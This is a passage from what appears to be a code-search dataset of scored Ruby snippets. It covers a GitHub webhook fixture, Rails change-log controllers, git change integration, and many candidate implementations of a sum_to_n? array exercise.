\"0d1a26e67d8f5eaf1f6ba5c57fc3c7d91ac0fd1c\",\n \"created\": false,\n \"deleted\": false,\n \"forced\": false,\n \"base_ref\": nil,\n \"compare\": \"https://github.com/baxterthehacker/public-repo/compare/9049f1265b7d...0d1a26e67d8f\",\n \"commits\": [\n {\n \"id\": \"0d1a26e67d8f5eaf1f6ba5c57fc3c7d91ac0fd1c\",\n \"tree_id\": \"f9d2a07e9488b91af2641b26b9407fe22a451433\",\n \"distinct\": true,\n \"message\": \"Update README.md\",\n \"timestamp\": \"2015-05-05T19:40:15-04:00\",\n \"url\": \"https://github.com/baxterthehacker/public-repo/commit/0d1a26e67d8f5eaf1f6ba5c57fc3c7d91ac0fd1c\",\n \"author\": {\n \"name\": \"baxterthehacker\",\n \"email\": \"baxterthehacker@users.noreply.github.com\",\n \"username\": \"baxterthehacker\"\n },\n \"committer\": {\n \"name\": \"baxterthehacker\",\n \"email\": \"baxterthehacker@users.noreply.github.com\",\n \"username\": \"baxterthehacker\"\n },\n \"added\": [\n\n ],\n \"removed\": [\n\n ],\n \"modified\": [\n \"README.md\"\n ]\n }\n ],\n \"head_commit\": {\n \"id\": \"0d1a26e67d8f5eaf1f6ba5c57fc3c7d91ac0fd1c\",\n \"tree_id\": \"f9d2a07e9488b91af2641b26b9407fe22a451433\",\n \"distinct\": true,\n \"message\": \"Update README.md\",\n \"timestamp\": \"2015-05-05T19:40:15-04:00\",\n \"url\": \"https://github.com/baxterthehacker/public-repo/commit/0d1a26e67d8f5eaf1f6ba5c57fc3c7d91ac0fd1c\",\n \"author\": {\n \"name\": \"baxterthehacker\",\n \"email\": \"baxterthehacker@users.noreply.github.com\",\n \"username\": \"baxterthehacker\"\n },\n \"committer\": {\n \"name\": \"baxterthehacker\",\n \"email\": \"baxterthehacker@users.noreply.github.com\",\n \"username\": \"baxterthehacker\"\n },\n \"added\": [\n\n ],\n \"removed\": [\n\n ],\n \"modified\": [\n \"README.md\"\n ]\n },\n \"repository\": {\n \"id\": 35129377,\n \"name\": \"public-repo\",\n \"full_name\": \"baxterthehacker/public-repo\",\n \"owner\": {\n \"name\": \"baxterthehacker\",\n \"email\": \"baxterthehacker@users.noreply.github.com\"\n },\n \"private\": false,\n \"html_url\": \"https://github.com/baxterthehacker/public-repo\",\n \"description\": \"\",\n \"fork\": false,\n \"url\": \"https://github.com/baxterthehacker/public-repo\",\n \"forks_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/forks\",\n \"keys_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/keys{/key_id}\",\n \"collaborators_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/collaborators{/collaborator}\",\n \"teams_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/teams\",\n \"hooks_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/hooks\",\n \"issue_events_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/issues/events{/number}\",\n \"events_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/events\",\n \"assignees_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/assignees{/user}\",\n \"branches_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/branches{/branch}\",\n \"tags_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/tags\",\n \"blobs_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/git/blobs{/sha}\",\n \"git_tags_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/git/tags{/sha}\",\n \"git_refs_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/git/refs{/sha}\",\n \"trees_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/git/trees{/sha}\",\n \"statuses_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/statuses/{sha}\",\n \"languages_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/languages\",\n \"stargazers_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/stargazers\",\n \"contributors_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/contributors\",\n \"subscribers_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/subscribers\",\n \"subscription_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/subscription\",\n \"commits_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/commits{/sha}\",\n \"git_commits_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/git/commits{/sha}\",\n \"comments_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/comments{/number}\",\n \"issue_comment_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/issues/comments{/number}\",\n \"contents_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/contents/{+path}\",\n \"compare_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/compare/{base}...{head}\",\n \"merges_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/merges\",\n \"archive_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/{archive_format}{/ref}\",\n \"downloads_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/downloads\",\n \"issues_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/issues{/number}\",\n \"pulls_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/pulls{/number}\",\n \"milestones_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/milestones{/number}\",\n \"notifications_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/notifications{?since,all,participating}\",\n \"labels_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/labels{/name}\",\n \"releases_url\": \"https://api.github.com/repos/baxterthehacker/public-repo/releases{/id}\",\n \"created_at\": 1430869212,\n \"updated_at\": \"2015-05-05T23:40:12Z\",\n \"pushed_at\": 1430869217,\n \"git_url\": \"git://github.com/baxterthehacker/public-repo.git\",\n \"ssh_url\": \"git@github.com:baxterthehacker/public-repo.git\",\n \"clone_url\": \"https://github.com/baxterthehacker/public-repo.git\",\n \"svn_url\": \"https://github.com/baxterthehacker/public-repo\",\n \"homepage\": nil,\n \"size\": 0,\n \"stargazers_count\": 0,\n \"watchers_count\": 0,\n \"language\": nil,\n \"has_issues\": true,\n \"has_downloads\": true,\n \"has_wiki\": true,\n \"has_pages\": true,\n \"forks_count\": 0,\n \"mirror_url\": nil,\n \"open_issues_count\": 0,\n \"forks\": 0,\n \"open_issues\": 0,\n \"watchers\": 0,\n \"default_branch\": \"master\",\n \"stargazers\": 0,\n \"master_branch\": \"master\"\n },\n \"pusher\": {\n \"name\": \"baxterthehacker\",\n \"email\": \"baxterthehacker@users.noreply.github.com\"\n },\n \"sender\": {\n \"login\": \"baxterthehacker\",\n \"id\": 6752317,\n \"avatar_url\": \"https://avatars.githubusercontent.com/u/6752317?v=3\",\n \"gravatar_id\": \"\",\n \"url\": \"https://api.github.com/users/baxterthehacker\",\n \"html_url\": \"https://github.com/baxterthehacker\",\n \"followers_url\": \"https://api.github.com/users/baxterthehacker/followers\",\n \"following_url\": \"https://api.github.com/users/baxterthehacker/following{/other_user}\",\n \"gists_url\": \"https://api.github.com/users/baxterthehacker/gists{/gist_id}\",\n \"starred_url\": \"https://api.github.com/users/baxterthehacker/starred{/owner}{/repo}\",\n \"subscriptions_url\": \"https://api.github.com/users/baxterthehacker/subscriptions\",\n \"organizations_url\": \"https://api.github.com/users/baxterthehacker/orgs\",\n \"repos_url\": \"https://api.github.com/users/baxterthehacker/repos\",\n \"events_url\": \"https://api.github.com/users/baxterthehacker/events{/privacy}\",\n \"received_events_url\": \"https://api.github.com/users/baxterthehacker/received_events\",\n \"type\": \"User\",\n \"site_admin\": false\n }\n }\n end", "title": "" }, { "docid": "c82ee4662950398c47b2722e98d62c0e", "score": "0.5917282", "text": "def new\n @change_log = ChangeLog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @change_log }\n end\n end", "title": "" }, { "docid": "105999d81270d0abb85783fcb7caf817", "score": "0.5892822", "text": "def index\n @warehouse_changes = WarehouseChange.all\n end", "title": "" }, { "docid": "9eab586b71c3f002a9c07dfe9b9fc7b5", "score": "0.5865639", "text": "def chart_data\n e = Exchange.find params[:exchange_id]\n render json: Oj.dump(e.changes_chart_data)\n rescue\n render json: []\n end", "title": "" }, { "docid": "1bb83b0aae024f9b39d8948ec5c2639f", "score": "0.585943", "text": "def changes env\n {\"files\" => changes_since(@params[\"since\"].to_i)}\n end", "title": "" }, { "docid": "85dda55f5b5981692e5b006ad0e54c7a", "score": "0.58546656", "text": "def getShipmentStatusChanges(startTime, endTime)\n url = \"#{BASE_URL}/#{VERSION}#{SHIPMENT_STATUS_CHANGES_PATH}\"\n queryString = \"start_time=#{startTime}&end_time=#{endTime}\"\n response = RestClient.get \"#{url}?#{queryString}\", @headers\n return JSON.parse(response)\n end", "title": "" }, { "docid": "05208f310807d22e6262d539de2007ff", "score": "0.5853396", "text": "def changes\n arr = []\n git.status.each{ |f| arr << f if f.type =~ /A|D/ }\n arr\n end", "title": "" }, { "docid": "2cd67c46b90e89db45e57b475de34f19", "score": "0.58502406", "text": "def show\n respond_with(create_presenter(:file_change, GetFileChanges.new(params)))\n end", "title": "" }, { "docid": "40ebe42a4ef752e31e16892cdca625bb", "score": "0.58466864", "text": "def changes(sync_token, sync_level, limit = nil)\n return nil unless @caldav_backend.is_a?(Backend::SyncSupport)\n\n @caldav_backend.changes_for_calendar(\n @calendar_info['id'],\n sync_token,\n sync_level,\n limit\n )\n end", "title": "" }, { "docid": "f127c9612afa999ff1ecdd0e011b4ed3", "score": "0.5824927", "text": "def index\n @costing_sheet_changelogs = CostingSheetChangelog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @costing_sheet_changelogs }\n end\n end", "title": "" }, { "docid": "70a3e62c50554b00e72267297aacdb47", "score": "0.582345", "text": "def integrate_changes\n self.update_http_info\n\n changes = {}\n\n branch_delta = self.branch_changes\n tag_delta = self.tag_changes\n changed_git_refs = branch_delta[:added] + branch_delta[:changed].values +\n tag_delta[:added] + tag_delta[:changed].values\n new_git_commits = self.commits_added changed_git_refs\n new_contents = self.contents_added new_git_commits\n\n new_contents[:blobs].each do |git_blob|\n Blob.from_git_blob(git_blob, self).save!\n end\n new_contents[:submodules].each do |git_submodule|\n Submodule.from_git_submodule(git_submodule, self).save!\n end\n new_contents[:trees].each do |git_tree|\n tree = Tree.from_git_tree(git_tree, self)\n tree.save!\n\n tree_entries = TreeEntry.from_git_tree git_tree, self, tree\n tree_entries.each(&:save!)\n end\n new_commits = Set.new\n new_git_commits.each do |git_commit|\n commit = Commit.from_git_commit(git_commit, self)\n commit.save!\n new_commits << commit\n\n commit_parents = CommitParent.from_git_commit git_commit, self, commit\n commit_parents.each(&:save!)\n\n commit_diffs = CommitDiff.from_git_commit git_commit, commit\n commit_diffs.each do |diff, hunks|\n diff.save!\n hunks.each(&:save!)\n end\n end\n new_branches = []\n branch_delta[:added].each do |git_branch|\n branch = Branch.from_git_branch(git_branch, self)\n branch.save!\n new_branches << branch\n end\n changed_branches = []\n branch_delta[:changed].each do |branch, git_branch|\n branch = Branch.from_git_branch(git_branch, self, branch)\n branch.save!\n changed_branches << branch\n end\n branch_delta[:deleted].each { |branch| branch.destroy }\n new_tags = []\n tag_delta[:added].each do |git_tag|\n tag = Tag.from_git_tag(git_tag, self)\n tag.save!\n new_tags << tag\n end\n changed_tags = []\n tag_delta[:changed].each do |tag, git_tag|\n tag = Tag.from_git_tag(git_tag, self, tag)\n tag.save!\n changed_tags << tag\n end\n tag_delta[:deleted].each { |tag| tag.destroy }\n\n { commits: new_commits,\n branches: { added: new_branches, changed: changed_branches,\n deleted: branch_delta[:deleted] },\n tags: { added: new_tags, changed: changed_tags,\n deleted: tag_delta[:deleted] } }\n end", "title": "" }, { "docid": "5ed05ac7e5db432e8055dd9ef91f45d2", "score": "0.5797825", "text": "def changes\n @list = {}\n self.changeables_list.each do |name|\n @list[name] = name.to_s.constantize.find_all_by_changeset_id(self.id)\n end\n @list\n end", "title": "" }, { "docid": "8f487135a51defe259c9106eb2fdacc2", "score": "0.57939905", "text": "def show\n @costing_sheet_changelog = CostingSheetChangelog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @costing_sheet_changelog }\n end\n end", "title": "" }, { "docid": "eb7e11197d81b188d50330f73cced4d2", "score": "0.579231", "text": "def index\n @cookie_changes = CookieChange.all\n end", "title": "" }, { "docid": "d285c7837d170dc1e7a0b0ef0d8ff19b", "score": "0.5784908", "text": "def show\n\t\t@admin_change = Admin::ClientChange.find(params[:id])\n\t\t@admin_client = @admin_change.client\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @admin_change }\n\t\tend\n\tend", "title": "" }, { "docid": "bfba3f202f8b5e64e6b343bac6d9324b", "score": "0.5781396", "text": "def index\n @changesets = Changeset.all\n end", "title": "" }, { "docid": "44b3514f06340ab61044c36bbb3f492d", "score": "0.5775426", "text": "def changed\n modifications.keys\n end", "title": "" }, { "docid": "64938dd518c28d49b812da09d51f9a33", "score": "0.5770925", "text": "def changes\n @changes ||= all_changes.select do |c|\n c.level >= self.level\n end\n end", "title": "" }, { "docid": "6ae3dfbcd55650cda5428db67e6c3fcf", "score": "0.5763553", "text": "def show\n @entry = Entry.find(params[:id])\n @revisions = Revision.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entry }\n end\n end", "title": "" }, { "docid": "ae924b57c5076ef038ba33764fd03897", "score": "0.57628125", "text": "def recordable_object_changes(changes)\n if PaperTrail.config.object_changes_adapter.respond_to?(:diff)\n # We'd like to avoid the `to_hash` here, because it increases memory\n # usage, but that would be a breaking change because\n # `object_changes_adapter` expects a plain `Hash`, not a\n # `HashWithIndifferentAccess`.\n changes = PaperTrail.config.object_changes_adapter.diff(changes.to_hash)\n end\n\n if @record.class.paper_trail.version_class.object_changes_col_is_json?\n changes\n else\n PaperTrail.serializer.dump(changes)\n end\n end", "title": "" }, { "docid": "c333107b088c5ac1333de94b945bfb80", "score": "0.57543045", "text": "def get_last_changed_with_http_info(project_id, start_time, opts = {})\r\n if @api_client.config.debugging\r\n @api_client.config.logger.debug \"Calling API: DefectApi.get_last_changed ...\"\r\n end\r\n # verify the required parameter 'project_id' is set\r\n fail ArgumentError, \"Missing the required parameter 'project_id' when calling DefectApi.get_last_changed\" if project_id.nil?\r\n # verify the required parameter 'start_time' is set\r\n fail ArgumentError, \"Missing the required parameter 'start_time' when calling DefectApi.get_last_changed\" if start_time.nil?\r\n # resource path\r\n local_var_path = \"/api/v3/projects/{projectId}/defects/last-change\".sub('{format}','json').sub('{' + 'projectId' + '}', project_id.to_s)\r\n\r\n # query parameters\r\n query_params = {}\r\n query_params[:'startTime'] = start_time\r\n query_params[:'endTime'] = opts[:'end_time'] if !opts[:'end_time'].nil?\r\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\r\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\r\n\r\n # header parameters\r\n header_params = {}\r\n\r\n # form parameters\r\n form_params = {}\r\n\r\n # http body (model)\r\n post_body = nil\r\n auth_names = ['Authorization']\r\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\r\n :header_params => header_params,\r\n :query_params => query_params,\r\n :form_params => form_params,\r\n :body => post_body,\r\n :auth_names => auth_names,\r\n :return_type => 'Array<DefectResource>')\r\n if @api_client.config.debugging\r\n @api_client.config.logger.debug \"API called: DefectApi#get_last_changed\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\r\n end\r\n return data, status_code, headers\r\n end", "title": "" }, { "docid": "b80e84795d71f216af56157f62e2c7c2", "score": "0.57522506", "text": "def new\n @change_set = ChangeSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @change_set }\n end\n end", "title": "" }, { "docid": "b0c340c2c5986f83f684d3b1a0e309b5", "score": "0.57487667", "text": "def changes( path, options={}, &block )\n # ensure the options can be passed to C successfully\n start_rev = (options[:start_rev] || 0).to_i\n end_rev = (options[:end_rev] || youngest).to_i\n cross_copies = ( options[:cross_copies] ? 1 : 0 )\n\n # collect the change [path, rev] pairs\n changes = []\n Error.check_and_raise( C.history(\n fs, path,\n C::CollectChanges, Utils.wrap( changes ),\n nil, nil, start_rev, end_rev, cross_copies, pool\n ) )\n\n # if the caller supplied a block, use it\n changes.each( &block ) if block_given?\n\n changes\n end", "title": "" }, { "docid": "af86f1359847737e19e67a2c261a72eb", "score": "0.57339746", "text": "def all_reviewed_commits_changes \n all_changes_in_revisions @all_reviewed_commits\n end", "title": "" } ]
59b6f5cfa55856ab4dd38b5edcde8ce0
Define a method sum_to_n?(array, n) that takes an array of integers and an additional integer, n, as arguments and returns true if any two elements in the array of integers sum to n. sum_to_n?([], n) should return false for any value of n, by definition.
[ { "docid": "3c55a1cb7cf2b07b42d9bca1ce554935", "score": "0.82658315", "text": "def sum_to_n?(array, n)\n return false if array.empty?\n match = array.combination(2).detect do |a, b|\n a + b == n\n end\n !match.nil?\nend", "title": "" } ]
[ { "docid": "f519901354c6b7a5cab1e00d539e02d1", "score": "0.868005", "text": "def sum_to_n? (array, n)\n\treturn false if array.empty? or array.size == 1\n\treturn array.combination(2).any? {|a,b| a + b == n}\nend", "title": "" }, { "docid": "241941fe2712141dca7eb1b9dc7a9bea", "score": "0.8678538", "text": "def sum_to_n? arr, n\n\tif arr.length <= 1\n\t\treturn false\n\telse\n\t\tarr.combination(2).detect { |a, b| a + b == n } != nil\n\tend\nend", "title": "" }, { "docid": "3fe13f0823ab288e20b5bc0b0278311c", "score": "0.863221", "text": "def sum_to_n?(array, n)\n raise \"Not yet implemented\"\nend", "title": "" }, { "docid": "b635adba1eef5aa2f89ee56dd511f1d0", "score": "0.8603181", "text": "def sum_to_n?(array, n)\n\tif array.length == 0 || array.length == 1\n\t\treturn false\n\telse\n\t\tfor a in 0 ... array.size\n\t\t\tfor b in (a+1) ... array.size\n\t\t\t\tif array[a] + array[b] == n\n\t\t\t\t\treturn true\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\treturn false\n\tend\nend", "title": "" }, { "docid": "dd7f0905110bb882f1dc6b201a0d5b15", "score": "0.8470031", "text": "def sum_to_n?(array,n)\n\tif array.length == 0\n\t\treturn true if n == 0\n\telsif array.length == 1\n\t\treturn true if n == array[0]\n\telse\n\t\tcombinations_2 = array.combination(2).to_a\n\t\tcombinations_2.each do |x,y|\n\t\t\treturn true if x + y == n\n\t\tend\t\t\n\tend\n\n\treturn false\t\t\t\t\t\nend", "title": "" }, { "docid": "0d09ab2db4e1b497a3b8e9a29b506c55", "score": "0.84550846", "text": "def sum_to_n? arr, n\n return false if arr.empty? && n.zero?\n arr.combination(2).any? {|a, b| a + b == n }\nend", "title": "" }, { "docid": "29d57ad136b614052daea955a7a6cad9", "score": "0.8451376", "text": "def sum_to_n?(array, n)\n\tcombinations = array.combination(2).to_a\n\tsummed = combinations.map{ |subarray| subarray.reduce(:+) }\n\tcompare = summed.map{|a| a == n }\n\tcompare.include?(true) ? true : false\nend", "title": "" }, { "docid": "198a208cde05c636451242c02d8a57f7", "score": "0.8443226", "text": "def sum_to_n? arr, n\n # YOUR CODE HERE\nend", "title": "" }, { "docid": "13f59560e72e3ddd37db06146fc137b8", "score": "0.8419996", "text": "def sum_to_n?(array, n)\r\n return false if array.empty? || array.length == 1\r\n\r\n (0...array.length).each { |x| \r\n (x+1...array.length).each { |y| \r\n return true if array[x] + array[y] == n}\r\n }\r\n return false\r\nend", "title": "" }, { "docid": "620ee0118dbcbcf839f5fef5efd9994e", "score": "0.841673", "text": "def sum_to_n?(array, n)\n\t(array.empty? && n == 0) || (array.length == 1 && array[0] == n) || array.reject{|x| !array.include?(n-x) }.length > 1\nend", "title": "" }, { "docid": "373a80b94e647d3a2a9e2935c6eb5f57", "score": "0.83953094", "text": "def sum_to_n?(array,n)\n\tresult = false\n\tif array.length > 1\n\t\tfor i in 1..array.length - 1\n\t\t\tfor j in 0..i - 1\n\t\t\t\tif array[j] + array[i] == n\n\t\t\t\t\tresult = true\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\treturn result\nend", "title": "" }, { "docid": "7884af9db146fdb4eac208119b0034df", "score": "0.83952147", "text": "def sum_to_n? (arr, n)\n return false if arr.length == 0 and n == 0\n return false if arr.length == 0 and n != 0\n arr.combination(2).any? {|a, b| (a + b) == n }\nend", "title": "" }, { "docid": "aa640f34918e727c5eed730aba5e6982", "score": "0.838491", "text": "def sum_to_n?(arr, n)\n return false if arr.empty?\n arr.combination(2).any? { |n1, n2| n1 + n2 == n }\nend", "title": "" }, { "docid": "5c751ec2a76631edf83b6ad84bb385f2", "score": "0.83620954", "text": "def sum_to_n?(array, n)\n if (array.empty?)\n if (n == 0)\n true\n else \n false\n end\n elsif (array.size == 1)\n (array.first == n)\n else equal_sum(array, n)\n end\nend", "title": "" }, { "docid": "a94e30c741d4d713b3bbd36bf2fc700e", "score": "0.8325838", "text": "def sum_to_n? arr, n\n if arr.empty?\n return false\n else\n return false if n.zero?\n arr.combination(2).any? {|a, b| a + b == n }\n end\nend", "title": "" }, { "docid": "95242938ec9f8931577639500ee00892", "score": "0.830819", "text": "def sum_to_n? args, n\n return false if (args.empty? || args.size == 1)\n #Couldn't use the ! operator to modify the the original array for some reason\n arr = args.sort.uniq\n while arr.length > 1\n x = arr.shift\n return true if arr.map{|i| i + x}.detect{|i| i==n}\n end\n return false\nend", "title": "" }, { "docid": "b86a3cc13d1a16da9bc48fccfa11199f", "score": "0.8292917", "text": "def sum_to_n?( array, n )\n array.combination(2) do |c|\n return true if c.reduce(:+) == n\n end\n false\nend", "title": "" }, { "docid": "94ee19aff1b0c171887345d743c8a458", "score": "0.828779", "text": "def sum_to_n?(array=[0],n=\"nada\")\n return true if array == [] && n == 0\n array.each_index do |i|\n \tarray.each_index do |j|\n \t\treturn true if i != j && array[i] + array[j] == n\n \tend\n end\n false\nend", "title": "" }, { "docid": "accc56f2b14344fd700ac90a9b0f7944", "score": "0.82822496", "text": "def sum_to_n? arr, n\n return false if arr.empty? || arr.count == 1\n sums = arr.combination(2).map { |a,b| a + b }\n sums.include? n\nend", "title": "" }, { "docid": "5d5e87067e41b01133d9ef1d24df9177", "score": "0.82442427", "text": "def sum_to_n? arr, n\n arr.combination(2).any? { |a, b| a + b == n }\nend", "title": "" }, { "docid": "336c11a4414a213929ecb35ccebc037e", "score": "0.82397026", "text": "def sum_to_n?(arr,n)\n\treturn false if arr==nil || arr.empty? || arr.length <=1\n\treturn arr.permutation.any? { |x,y| x+y==n} if arr!=nil \nend", "title": "" }, { "docid": "b782ed98e62685ab66c2ffff66935444", "score": "0.82215685", "text": "def sum_to_n? arr, n\n if arr.size == 0\n return false\n end\n size = arr.size\n for i in 0...size do\n for j in (i + 1)...size do\n if arr[i] + arr[j] == n\n return true\n end\n end\n end\n return false\nend", "title": "" }, { "docid": "433f9d0641784cfc42fb28258c8c3a02", "score": "0.82111865", "text": "def sum_to_n? arr, n\n return !!arr.combination(2).detect { |a, b| a + b == n}\nend", "title": "" }, { "docid": "edb731687dab4fd5cdec3a3007e42e93", "score": "0.8191309", "text": "def sum_to_n?(array, n)\n res = false\n if array.length > 1\n for i in 1..array.length - 1\n for j in 0..i-1\n if array[i] + array[j] == n\n res = true\n break\n end\n end\n end\n end\n return res\nend", "title": "" }, { "docid": "26cf2ea713d8e8e42a47704918cd2443", "score": "0.8187258", "text": "def sum_to_n? arr, n\n copyArr = arr\n\n\tif arr.size <= 1\n\t\treturn false\n\tend\n\n for i in 0..arr.length\n for j in 0..arr.length\n if i != j\n if (arr[i].to_i + arr[j].to_i) == n\n return true\n end\n end\n end\n end\n return false\nend", "title": "" }, { "docid": "4da833b71963780e8b5c57d08915ff3c", "score": "0.8163556", "text": "def sum_to_n?(array, n)\n array.permutation(2).any? { |a, b| a + b == n }\nend", "title": "" }, { "docid": "67dc797f359a351d9fc3e2f23952d6dc", "score": "0.81630135", "text": "def sum_to_n? arr, n # return true if any 2 numbers in array sum to n\n if arr.length == 0\n return false\n end\n for i in 0...arr.length\n for j in 0...arr.length\n if i != j && (arr[i] + arr[j]) == n # true if the indices aren't the same and the sum is n\n return true\n end\n end\n end\n return false\nend", "title": "" }, { "docid": "9c5eecd512fe062af012bb32c31a39ba", "score": "0.81614", "text": "def sum_to_n? arr, n\n array.product(array).any? {|couple| sum(couple) == val}\nend", "title": "" }, { "docid": "52bbb5f7c7cc1d54198a81ef1b57e873", "score": "0.8154369", "text": "def sum_eq_n?(arr, n)\n (arr.empty? and n.zero?) or arr.any? { |x| arr.include?(n - x) }\nend", "title": "" }, { "docid": "67a6249a87ccb96dfb2e76ec41fd65b1", "score": "0.8135882", "text": "def sum_to_n?(arr, n)\n return false if arr.empty? || arr.length == 1\n arr.permutation(2).any? { |a, b| a + b == n }\nend", "title": "" }, { "docid": "fb9094677f2ce67a181e3dc27a5de32a", "score": "0.8132217", "text": "def sum_eq_n?(arr, n)\n return true if arr.empty? && n.zero?\n arr.combination(2).any? { |a, b| a + b == n }\nend", "title": "" }, { "docid": "1eaee7f4bf528815d1ff6492b324d420", "score": "0.8126133", "text": "def sum_to_n? arr, n\n arr=[0] if (arr.nil? || arr.empty?)\n arr.combination(2).any? {|a,b| (a+b)==n}\nend", "title": "" }, { "docid": "4d78929a1bb47db58465b0277b90e880", "score": "0.8120268", "text": "def sum_eq_n?(arr, n)\n return true if arr.empty? and n.zero?\n arr.combination(2).any? {|a, b| a + b == n}\nend", "title": "" }, { "docid": "a60ff4d01ed1bf08365a5bbba23fdfdb", "score": "0.81057155", "text": "def sum_to_n?(array, n)\n if array.size == 0 || array.size == 1\n return false\n end\n \n for i in 0...array.size-1 \n for j in i...array.size \n if (array[i] + array[j] == n)\n return true if(array[i] != array[j])\n else\n next\n end\n end\n end\n return false\nend", "title": "" }, { "docid": "5bca823f62f17f35da8edeaa333807a4", "score": "0.810067", "text": "def sum_to_n?(arr, n)\n \n if arr.length < 2\n false\n else\n arr.permutation(2).any? {|x, y| x + y == n}\n end\nend", "title": "" }, { "docid": "f97788681b91da0594ce87337885e1f0", "score": "0.8093482", "text": "def sum_to_n?(array, n)\n ret = false\n k, i = 1, 0\n if !array.empty?\n if (array[1] == nil and array.first == array.last and array.last == n)\n ret = true\n else\n while (i!=array.length)\n while (k!=array.length)\n sum = array[k] + array[i]\n ret = true if sum == n\n k += 1\n end\n i += 1\n k = i + 1\n end\n end\n elsif n == 0\n ret = true\n end\n ret\nend", "title": "" }, { "docid": "93dc3ee6037d3c2f76b44e27317df277", "score": "0.80873746", "text": "def sum_to_n? arr, n\n if arr.combination(2).any? {|a, b| a + b == n }\n return true\n end\n return false\nend", "title": "" }, { "docid": "f3599b809dba09074ba8847c703654de", "score": "0.8074121", "text": "def sum_to_n?(arr, n)\n\n # if any combination of two number == n then true else nil will return false\n (arr.combination(2).find {|x, y| x + y == n} != nil) ? true : false\nend", "title": "" }, { "docid": "01284cd0eafa858129781eb77d5e37fe", "score": "0.80641097", "text": "def sum_to_n? arr, n\n # It adds all combinations of 2 numbers and whichever adds up to n is returned\n return !!arr.combination(2).detect { |a, b| a + b == n }\nend", "title": "" }, { "docid": "6feeb9ecc2f74f0d54167e82ec2f8031", "score": "0.80609006", "text": "def sum_to_n (array_n, n)\n \"Accept an array and n, return true if there has two element which sum is n;\n Else if array_n is null and n is 0, return true also\n\n There has a Double loop\n \"\n if array_n.length == 0 and n == 0\n return true\n end\n\n\n i = 0\n len_array = array_n.length\n array_n.each do |x|\n i += 1\n array_n[i..len_array].each do |y|\n if x + y == n\n return true\n end\n end\n end\n return false\nend", "title": "" }, { "docid": "1c3856ee569f75f466db436123478165", "score": "0.80594045", "text": "def sum_to_n? arr, n\n arr.each_index do |i| #Passes the index of the element\n for j in arr[i+1...arr.length] #Loops through the array\n if arr[i] + j == n #Checks if any two elements in the array of integers sum to n\n return true\n end\n end\n end\n return false\nend", "title": "" }, { "docid": "ca8bc6edb168ad36b646479dbe17381e", "score": "0.80488193", "text": "def sum_to_n?(array, n)\n array.combination(2).to_a.any? {|pair| sum(pair) == n }\nend", "title": "" }, { "docid": "1805dab50003ff670ad34745c89106b4", "score": "0.8047971", "text": "def sum_to_n? arr, n\n arr.each do |x|\n arr2 = arr - [x]\n arr2.each do |y|\n if y + x == n\n return true\n end\n end\n end\n return false\nend", "title": "" }, { "docid": "f3876959498309e079d4e268cfe60520", "score": "0.80455524", "text": "def sum_to_n? arr, n\n return false if arr.length < 2\n arr.permutation(2).to_a.each do |x|\n return true if x.reduce(:+) == n\n end\n false\nend", "title": "" }, { "docid": "cafbfb2ac5254c28d47594bb4f509ebc", "score": "0.80448776", "text": "def sum_to_n? arr, n\n\tif arr.length == 0\n\t\tx = false\n\telse\n\t(arr.empty? && n.zero?) || arr.permutation(2).any? { |a, b| a + b == n }\n \tend\n # YOUR CODE HERE\nend", "title": "" }, { "docid": "0f3156d6872e7d02c8f2fcf8582f0b49", "score": "0.8019015", "text": "def sum_to_n?(array, n)\n array.combination(2).map {|pair| sum(pair) }.count(n) > 0\nend", "title": "" }, { "docid": "81b68df00c48443f9b784998b085bbd8", "score": "0.80157024", "text": "def sum_to_n? arr, n\r\n\tif arr.length == 0\r\n\t\tfalse\r\n\telsif arr.length == 1\r\n\t\tfalse\r\n\telse\r\n\t\tsorted_arr = arr.sort # Sort the array\r\n\t\ti = 0\r\n\t\twhile i < arr.length\r\n\t\t\tj = i + 1\r\n\t\t\twhile j < arr.length\r\n\t\t\t\t# Check if two values equate to n\r\n\t\t\t\tif arr[i] + arr[j] == n\r\n\t\t\t\t\treturn true \r\n\t\t\t\tend\r\n\t\t\t\tj += 1\r\n\t\t\tend \r\n\t\t\ti += 